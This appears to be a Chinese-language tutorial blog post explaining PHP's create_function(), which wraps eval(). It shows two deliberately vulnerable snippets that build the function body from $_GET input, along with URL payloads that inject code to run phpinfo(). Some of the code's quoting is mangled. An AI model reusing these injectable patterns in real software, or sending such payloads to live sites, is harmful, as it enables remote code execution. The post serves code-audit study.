PHP create_function()函數應用實例詳解
目錄
- 前言
- create_function()簡介
- 函數功能
- 代碼注入實例
- 0x01
- 0x02
前言
一直遇到過這個 函數,但是不知道怎么利用 這回學習一下這個函數
create_function()簡介
適用 PHP4>4.0.1 PHP 5 PHP7
語法:
create_function(string $args, string $code)
string $args 聲明的函數變量部分
string $code 執行的方法代碼部分
函數功能
<?php$newfunc = create_function("$a,$b", "return "ln($a) + ln($b) = " . log($a * $b);");echo "New anonymous function: $newfunc\n";echo $newfunc(2, M_E) . "\n";?>
分析:
create_function() 會創造一個匿名函數 (lambda樣式) 此處創建了一個叫 lamvda_1 的函數, 在第一個 echo 中 顯示名字, 并在第二個echo 語句中執行了 此函數。
create_function() 函數 會在內部 執行 eval() , 我們發現是執行了 后面的 return 語句,屬于create_function() 中的第二個參數 string $code 的位置
因此,上述匿名函數的創建與執行過程等價于:
<?phpfunction lambda_1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b);}?>
create_function( ) 函數在代碼審計中,主要用來查找項目中的代碼注入和回調后門的情況,熟悉了執行流程, 可以實現對代碼注入的 payload 構造,從而 進行漏洞挖掘和找出存在缺陷
代碼注入實例
0x01
<?phperror_reporting(0);$sort_by = $_GET["sort_by"];$sorter = "strnatcasecmp";$databases=array("1234","4321");$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by . ""], $b["" . $sort_by . ""]);";usort($databases, create_function("$a, $b", $sort_function));?>
payload:
http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*
還原實際的組合過程:
$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*
匿名函數實際的執行:
function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}
$sort_by 是我們傳入的值。
回車換行整理一下:
function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}
0x02
<?php$c=$_GET["c"];$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen($c));");$array=array("reall long string here,boy","this","midding lenth","larget");usort($array,$lambda);print_r($array);?>
payload:
http://localhost/test2.php?c=1));}phpinfo();/*
還原實際的組合過程:
$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
匿名函數實際的執行:
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }
換行整理:
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1)); } phpinfo(); /*)); }
到此這篇關于PHP create_function()函數應用實例詳解的文章就介紹到這了,更多相關PHP create_function()函數內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!